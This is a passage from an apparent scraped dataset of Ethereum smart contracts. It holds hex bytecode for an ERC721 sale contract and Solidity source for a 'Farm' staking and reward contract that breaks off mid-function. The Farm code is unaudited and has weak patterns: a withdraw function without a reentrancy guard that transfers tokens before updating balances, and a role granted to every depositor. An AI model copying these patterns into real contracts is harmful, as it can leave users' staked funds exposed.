fffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b600080600080600c600086815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600c600087815260200190815260200160002060000160149054906101000a900460ff16600c600088815260200190815260200160002060010154600c60008981526020019081526020016000206002015493509350935093509193509193565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fa35780601f10610f7857610100808354040283529160200191610fa3565b820191906000526020600020905b815481529060010190602001808311610f8657829003601f168201915b5050505050905090565b6000610fb88261269c565b61100d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613b14602c913960400191505060405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000611053826114a4565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110da576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613b986021913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166110f96126b9565b73ffffffffffffffffffffffffffffffffffffffff1614806111285750611127816111226126b9565b6123f8565b5b61117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180613a676038913960400191505060405180910390fd5b61118783836126c1565b505050565b600d60205281600052604060002081815481106111a557fe5b90600052602060002001600091509150505481565b60006111c6600261277a565b905090565b33600c600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081908060018154018082558091505060019003906000526020600020016000909190919091505561129183838361278f565b505050565b60006112e982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061280590919063ffffffff16565b905092915050565b6112f96126b9565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611401573d6000803e3d6000fd5b50565b61141f83838360405180602001604052806000815250611e28565b505050565b600c6020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060000160149054906101000a900460ff16908060010154908060020154905084565b60008061149883600261281f90919063ffffffff16565b50905080915050919050565b60006114d482604051806060016040528060298152602001613ac960299139600261284b9092919063ffffffff16565b9050919050565b60011515600c600083815260200190815260200160002060000160149054906101000a900460ff1615151461150f57600080fd5b600c600082815260200190815260200160002060010154341461153157600080fd5b6000600c600083815260200190815260200160002060000160146101000a81548160ff021916908315150217905550600c600082815260200190815260200160002060020160008154809291906001019190505550600e54811461166457600c600082815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600c6000848152602001908152602001600020600101549081150290604051600060405180830381858888f19350505050158015611621573d6000803e3d6000fd5b50611663600c600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633836111cb565b5b33600c600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819080600181540180825580915050600190039060005260206000200160009091909190915055600e548114156117d25760638110156117d15761174533611740600b61286a565b612878565b61174f600b612a6c565b600e60008154809291906001019190505550600866038d7ea4c680006002600e540a0266038d7ea4c68000018161178257fe5b04600c6000600e548152602001908152602001600020600101819055506001600c6000600e54815260200190815260200160002060000160146101000a81548160ff0219169083151502179055505b5b50565b606060098054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561186d5780601f106118425761010080835404028352916020019161186d565b820191906000526020600020905b81548152906001019060200180831161185057829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613a9f602a913960400191505060405180910390fd5b611945600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612a82565b9050919050565b6119546126b9565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600c600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b4557600080fd5b60008111611b5257600080fd5b80600c6000848152602001908152602001600020600101819055506001600c600084815260200190815260200160002060000160146101000a81548160ff0219169083151502179055505050565b600e5481565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c685780601f10611c3d57610100808354040283529160200191611c68565b820191906000526020600020905b815481529060010190602001808311611c4b57829003601f168201915b5050505050905090565b611c7a6126b9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d1b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4552433732313a20617070726f766520746f2063616c6c65720000000000000081525060200191505060405180910390fd5b8060056000611d286126b9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611dd56126b9565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b611e39611e336126b9565b83612a97565b611e8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180613bb96031913960400191505060405180910390fd5b611e9a84848484612b8b565b50505050565b600c600082815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f0e57600080fd5b6000600c600083815260200190815260200160002060000160146101000a81548160ff02191690831515021790555050565b6060611f4b8261269c565b611fa0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180613b69602f913960400191505060405180910390fd5b6060600860008481526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120495780601f1061201e57610100808354040283529160200191612049565b820191906000526020600020905b81548152906001019060200180831161202c57829003601f168201915b505050505090506000600980546001816001161561010002031660029004905014156120785780915050612224565b6000815111156121515760098160405160200180838054600181600116156101000203166002900480156120e35780601f106120c15761010080835404028352918201916120e3565b820191906000526020600020905b8154815290600101906020018083116120cf575b505082805190602001908083835b6020831061211457805182526020820191506020810190506020830392506120f1565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052915050612224565b600961215c84612bfd565b60405160200180838054600181600116156101000203166002900480156121ba5780601f106121985761010080835404028352918201916121ba565b820191906000526020600020905b8154815290600101906020018083116121a6575b505082805190602001908083835b602083106121eb57805182526020820191506020810190506020830392506121c8565b6001836020036101000a038019825116818451168082178552505050505050905001925050506040516020818303038152906040529150505b919050565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156122b457602002820191906000526020600020905b8154815260200190600101908083116122a0575b50505050509050919050565b600c600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461232e57600080fd5b80600c600084815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208290806001815401808255809150506001900390600052602060002001600090919091909150556123f43382846111cb565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6124946126b9565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612556576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156125dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806139cb6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006126b2826002612d4490919063ffffffff16565b9050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16612734836114a4565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061278882600001612d5e565b9050919050565b6127a061279a6126b9565b82612a97565b6127f5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180613bb96031913960400191505060405180910390fd5b612800838383612d6f565b505050565b60006128148360000183612fb2565b60001c905092915050565b6000806000806128328660000186613035565b915091508160001c8160001c9350935050509250929050565b600061285e846000018460001b846130ce565b60001c90509392505050565b600081600001549050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561291b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4552433732313a206d696e7420746f20746865207a65726f206164647265737381525060200191505060405180910390fd5b6129248161269c565b15612997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000081525060200191505060405180910390fd5b6129a3600083836131c4565b6129f481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206131c990919063ffffffff16565b50612a0b818360026131e39092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6001816000016000828254019250508190555050565b6000612a9082600001613218565b9050919050565b6000612aa28261269c565b612af7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613a3b602c913960400191505060405180910390fd5b6000612b02836114a4565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480612b7157508373ffffffffffffffffffffffffffffffffffffffff16612b5984610fad565b73ffffffffffffffffffffffffffffffffffffffff16145b80612b825750612b8181856123f8565b5b91505092915050565b612b96848484612d6f565b612ba284848484613229565b612bf7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806139996032913960400191505060405180910390fd5b50505050565b60606000821415612c45576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612d3f565b600082905060005b60008214612c6f578080600101915050600a8281612c6757fe5b049150612c4d565b60608167ffffffffffffffff81118015612c8857600080fd5b506040519080825280601f01601f191660200182016040528015612cbb5781602001600182028036833780820191505090505b50905060006001830390508593505b60008414612d3757600a8481612cdc57fe5b0660300160f81b82828060019003935081518110612cf657fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8481612d2f57fe5b049350612cca565b819450505050505b919050565b6000612d56836000018360001b613442565b905092915050565b600081600001805490509050919050565b8273ffffffffffffffffffffffffffffffffffffffff16612d8f826114a4565b73ffffffffffffffffffffffffffffffffffffffff1614612dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613b406029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612e81576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806139f16024913960400191505060405180910390fd5b612e8c8383836131c4565b612e976000826126c1565b612ee881600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061346590919063ffffffff16565b50612f3a81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206131c990919063ffffffff16565b50612f51818360026131e39092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b600081836000018054905011613013576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806139776022913960400191505060405180910390fd5b82600001828154811061302257fe5b9060005260206000200154905092915050565b60008082846000018054905011613097576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613af26022913960400191505060405180910390fd5b60008460000184815481106130a857fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008084600101600085815260200190815260200160002054905060008114158390613195576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561315a57808201518184015260208101905061313f565b50505050905090810190601f1680156131875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b508460000160018203815481106131a857fe5b9060005260206000209060020201600101549150509392505050565b505050565b60006131db836000018360001b61347f565b905092915050565b600061320f846000018460001b8473ffffffffffffffffffffffffffffffffffffffff1660001b6134ef565b90509392505050565b600081600001805490509050919050565b600061324a8473ffffffffffffffffffffffffffffffffffffffff166135cb565b613257576001905061343a565b60606133c163150b7a0260e01b61326c6126b9565b888787604051602401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156132f05780820151818401526020810190506132d5565b50505050905090810190601f16801561331d5780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051806060016040528060328152602001613999603291398773ffffffffffffffffffffffffffffffffffffffff166135de9092919063ffffffff16565b905060008180602001905160208110156133da57600080fd5b8101908080519060200190929190505050905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614925050505b949350505050565b600080836001016000848152602001908152602001600020541415905092915050565b6000613477836000018360001b6135f6565b905092915050565b600061348b83836136de565b6134e45782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506134e9565b600090505b92915050565b6000808460010160008581526020019081526020016000205490506000811415613596578460000160405180604001604052808681526020018581525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000015560208201518160010155505084600001805490508560010160008681526020019081526020016000208190555060019150506135c4565b828560000160018303815481106135a957fe5b90600052602060002090600202016001018190555060009150505b9392505050565b600080823b905060008111915050919050565b60606135ed8484600085613701565b90509392505050565b600080836001016000848152602001908152602001600020549050600081146136d2576000600182039050600060018660000180549050039050600086600001828154811061364157fe5b906000526020600020015490508087600001848154811061365e57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061369657fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506136d8565b60009150505b92915050565b600080836001016000848152602001908152602001600020541415905092915050565b60608247101561375c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180613a156026913960400191505060405180910390fd5b613765856135cb565b6137d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106138275780518252602082019150602081019050602083039250613804565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114613889576040519150601f19603f3d011682016040523d82523d6000602084013e61388e565b606091505b509150915061389e8282866138aa565b92505050949350505050565b606083156138ba5782905061396f565b6000835111156138cd5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613934578082015181840152602081019050613919565b50505050905090810190601f1680156139615780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b939250505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734552433732313a207472616e7366657220746f20746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c4552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564a26469706673582212204e4132c775f756c3504e7b22c14f64aa6a4765f898d3a5d63e997f209292ef5964736f6c634300060c0033
[ 5 ]
0xf313982CC68cC8f432B2133e94BF536d8B7FCdC3
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "./interfaces/IUniswapV2Pair.sol"; contract Farm is AccessControl, ReentrancyGuard { using SafeERC20 for IERC20; using SafeMath for uint256; /* ----------- LiquidityMining START----------------------- */ //bool public initialized; address[] public tokenAddresses; struct RewardToken { uint256 initReward; uint256 startTime; uint256 rewardRate; uint256 duration; uint256 periodFinish; mapping(address => uint256) userRewardPerTokenPaid; mapping(address => uint256) rewards; uint256 rewardPerTokenStored; uint256 lastUpdateTime; bool initialized; } mapping(address => RewardToken) public rewardTokens; bytes32 public constant COLLECTION = bytes32(keccak256("COLLECTION_ROLE")); /** * @dev Initialize contract. * @param _rewardToken The address * @param _initReward Initial reward */ function initialize( address _rewardToken, uint256 _initReward, uint256 _startTime, uint256 _duration ) external onlyRole(DEFAULT_ADMIN_ROLE) { require( _rewardToken != address(0), "StakingRewards: rewardToken cannot be null" ); require(_initReward != 0, "StakingRewards: initreward cannot be null"); require(_duration != 0, "StakingRewards: duration cannot be null"); require( rewardTokens[_rewardToken].initialized == false, "already initialized" ); RewardToken storage rewardToken = rewardTokens[_rewardToken]; rewardToken.initReward = _initReward; rewardToken.startTime = _startTime; rewardToken.initialized = true; tokenAddresses.push(_rewardToken); rewardToken.duration = (_duration * 24 hours); _notifyRewardAmount(_rewardToken, _initReward); } uint256 private _totalSupply; mapping(address => uint256) public _balances; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event EmergencyWithdraw(address indexed user, uint256 amount); function updateReward(address account) internal { RewardToken storage rewardTokenStruct; uint256 len = tokenAddresses.length; for (uint256 i = 0; i < len; i++) { rewardTokenStruct = rewardTokens[tokenAddresses[i]]; rewardTokenStruct.rewardPerTokenStored = rewardPerToken( tokenAddresses[i] ); rewardTokenStruct.lastUpdateTime = lastTimeRewardApplicable( tokenAddresses[i] ); if (account != address(0)) { rewardTokenStruct.rewards[account] = earned( tokenAddresses[i], account ); rewardTokenStruct.userRewardPerTokenPaid[ account ] = rewardTokenStruct.rewardPerTokenStored; } } } function getRewardTokens() public view returns (address[] memory) { return tokenAddresses; } function lastTimeRewardApplicable(address rewardTokenAddress) public view returns (uint256) { return Math.min( block.timestamp, rewardTokens[rewardTokenAddress].periodFinish ); } function rewardPerToken(address rewardTokenAddress) public view returns (uint256) { RewardToken storage rewardTokenStruct = rewardTokens[ rewardTokenAddress ]; if (_totalSupply == 0) { return rewardTokenStruct.rewardPerTokenStored; } return rewardTokenStruct.rewardPerTokenStored.add( lastTimeRewardApplicable(rewardTokenAddress) .sub(rewardTokenStruct.lastUpdateTime) .mul(rewardTokenStruct.rewardRate) .mul(1e18) .div(_totalSupply) ); } function earned(address rewardTokenAddress, address account) public view returns (uint256) { RewardToken storage rewardTokenStruct = rewardTokens[ rewardTokenAddress ]; uint256 amount = _balances[account] .mul( rewardPerToken(rewardTokenAddress).sub( rewardTokenStruct.userRewardPerTokenPaid[account] ) ) .div(1e36) .add(rewardTokenStruct.rewards[account]); return amount; } function claimReward(address rewardTokenAddress) external nonReentrant { updateReward(msg.sender); RewardToken storage rewardTokenStruct = rewardTokens[ rewardTokenAddress ]; uint256 reward = rewardTokenStruct.rewards[msg.sender]; require(reward > 0, "you have no reward"); IERC20 token = IERC20(rewardTokenAddress); require(token.transfer(msg.sender, reward), "Transfer error!"); rewardTokenStruct.rewards[msg.sender] = 0; //token.transferFrom(address(this), msg.sender, reward); emit RewardPaid(msg.sender, reward); } function getReward(address rewardTokenAddress) internal nonReentrant { RewardToken storage rewardTokenStruct = rewardTokens[ rewardTokenAddress ]; uint256 reward = rewardTokenStruct.rewards[msg.sender]; require(reward > 0, "you have no reward"); IERC20 token = IERC20(rewardTokenAddress); require(token.transfer(msg.sender, reward), "Transfer error!"); rewardTokenStruct.rewards[msg.sender] = 0; //token.transferFrom(address(this), msg.sender, reward); emit RewardPaid(msg.sender, reward); } function emergencyWithdraw(uint256 amount) external nonReentrant { require(amount > 0, "StakingRewards: Cannot withdraw 0"); require( _balances[msg.sender] >= amount, "Insufficient amount for emergency Withdraw" ); //updateReward(msg.sender); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); _token.safeTransfer(msg.sender, amount); emit EmergencyWithdraw(msg.sender, amount); } function remove(uint256 index) external onlyRole(DEFAULT_ADMIN_ROLE) returns (address[] memory) { if (index >= tokenAddresses.length) return tokenAddresses; for (uint256 i = index; i < tokenAddresses.length - 1; i++) { tokenAddresses[i] = tokenAddresses[i + 1]; } tokenAddresses.pop(); return tokenAddresses; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function _stake(uint256 _amount) private { _totalSupply = _totalSupply.add(_amount); _balances[msg.sender] = _balances[msg.sender].add(_amount); //stakingToken.safeTransferFrom(msg.sender, address(this), _amount); } function _withdraw(uint256 _amount) private { _totalSupply = _totalSupply.sub(_amount); _balances[msg.sender] = _balances[msg.sender].sub(_amount); //stakingToken.safeTransfer(msg.sender, _amount); } function _notifyRewardAmount(address rewardTokenAddress, uint256 reward) internal { updateReward(address(0)); RewardToken storage rewardTokenStruct = rewardTokens[ rewardTokenAddress ]; rewardTokenStruct.rewardRate = reward.mul(1e18).div( rewardTokenStruct.duration ); rewardTokenStruct.lastUpdateTime = block.timestamp; rewardTokenStruct.periodFinish = block.timestamp.add( rewardTokenStruct.duration ); emit RewardAdded(reward); } function dailyRewardApy(address token) external view returns (uint256) { uint256 rate = rewardTokens[token].rewardRate; uint256 dailyReward = rate.div(1e18); return (dailyReward * 86400); } /* ----------- LiquidityMining START----------------------- */ /* ---------- FARMING Variables --------------------*/ struct Staker { uint256 amount; uint256 lpAmount; uint256 lpToSepa; uint256 points; uint256 timestamp; bool isExist; bool farm; bool lp; } uint256 public total; uint256 immutable fixedConstantPerToken; bytes32 public constant WITHDRAW_ROLE = keccak256("WITHDRAW_ROLE"); mapping(address => Staker) public stakers; IERC20 private _token = IERC20(address(0)); /* ----------- FARMING EVENTS ----------------------- */ event SenderDeposited( address indexed _sender, uint256 _amount, uint256 _timestamp ); event SenderWithdrawed( address indexed _sender, uint256 _amount, uint256 _timestamp ); event GivenPoints(address indexed _address, uint256 _point); event PaymentOccured(address indexed _buyer, uint256 _amount); /* ----------- FARM FUNCTIONS START ----------------------- */ constructor( IERC20 token, uint256 tokenMultiplier, address crowdsaleFactory ) { _token = token; fixedConstantPerToken = tokenMultiplier * 1e18; _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(DEFAULT_ADMIN_ROLE, crowdsaleFactory); } function getTokenAddress() external view returns (address) { return address(_token); } function giveAway(address _address, uint256 points) external onlyRole(DEFAULT_ADMIN_ROLE) { stakers[_address].points = points; emit GivenPoints(_address, points); } function farmed(address sender) external view returns (uint256) { // Returns how many tokens in this account has farmed return (stakers[sender].amount); } function farmedStart(address sender) external view returns (uint256) { // Returns when this account started farming return (stakers[sender].timestamp); } function payment(address buyer, uint256 amount) external onlyRole(COLLECTION) returns (bool) { consolidate(buyer); Staker storage st = stakers[buyer]; require(st.points > 0, "accrued points equal to 0"); require(st.points >= amount, "Insufficient points!"); st.points -= amount; emit PaymentOccured(buyer, amount); return true; } function getConsolidatedRewards(address buyer) external view returns (uint256) { return stakers[buyer].points; } function rewardedPoints(address staker) public view returns (uint256) { Staker storage st = stakers[staker]; uint256 _seconds = block.timestamp.sub(st.timestamp); uint256 earnPerSec = fixedConstantPerToken / (60 * 60 * 24); uint256 result = (st.points + ((st.amount * earnPerSec) * _seconds) / 1e18) + _rewardedPointsLp(staker); return result; } function consolidate(address staker) internal { uint256 points = rewardedPoints(staker); stakers[staker].points = points; stakers[staker].timestamp = block.timestamp; } function deposit(uint256 amount) external nonReentrant { require(amount > 0, "Insufficient amount"); require( _token.balanceOf(msg.sender) >= amount, "Insufficient amount for deposit" ); _setupRole(WITHDRAW_ROLE, msg.sender); address sender = msg.sender; // Staker memory stakerData = stakers[sender]; _token.safeTransferFrom(sender, address(this), amount); consolidate(sender); total = total + amount; stakers[sender].amount += amount; stakers[sender].farm = true; updateReward(msg.sender); _stake(amount); // solium-disable-next-line security/no-block-members emit SenderDeposited(sender, amount, block.timestamp); } function withdraw(uint256 amount) public { updateReward(msg.sender); address sender = msg.sender; require(amount > 0, "amount cannot be zero!"); require(stakers[sender].amount >= amount, "Insufficient amount!"); require(_token.transfer(address(sender), amount), "Transfer error!"); consolidate(sender); stakers[sender].amount -= amount; if (stakers[sender].amount == 0) { stakers[sender].farm = false; } total = total - amount; // solium-disable-next-line security/no-block-members _withdraw(amount); uint256 len = tokenAddresses.length; for (uint256 i = 0; i < len; i++) { uint256 reward = rewardTokens[tokenAddresses[i]].rewards[ msg.sender ]; if (reward > 0) { getReward(tokenAddresses[i]); } } emit SenderWithdrawed(sender, amount, block.timestamp); } /* ---------- LP Variables --------------------*/ IUniswapV2Pair uniPair; uint256 totalLp; /* ----------- LP EVENTS ----------------------- */ event LpDeposited( address indexed _sender, uint256 _lpAmount, uint256 _sepaAmount, uint256 _timestamp ); event LpWithdrawed( address indexed _sender, uint256 _lpAmount, uint256 _timestamp ); function setUniswapPairAddress(address _sepaWethPair) external onlyRole(DEFAULT_ADMIN_ROLE) { uniPair = IUniswapV2Pair(_sepaWethPair); } function _calcSepaToken(uint256 lpAmount) private view returns (uint256) { uint256 userLpRatio = (lpAmount * (1e36)) / uniPair.totalSupply(); 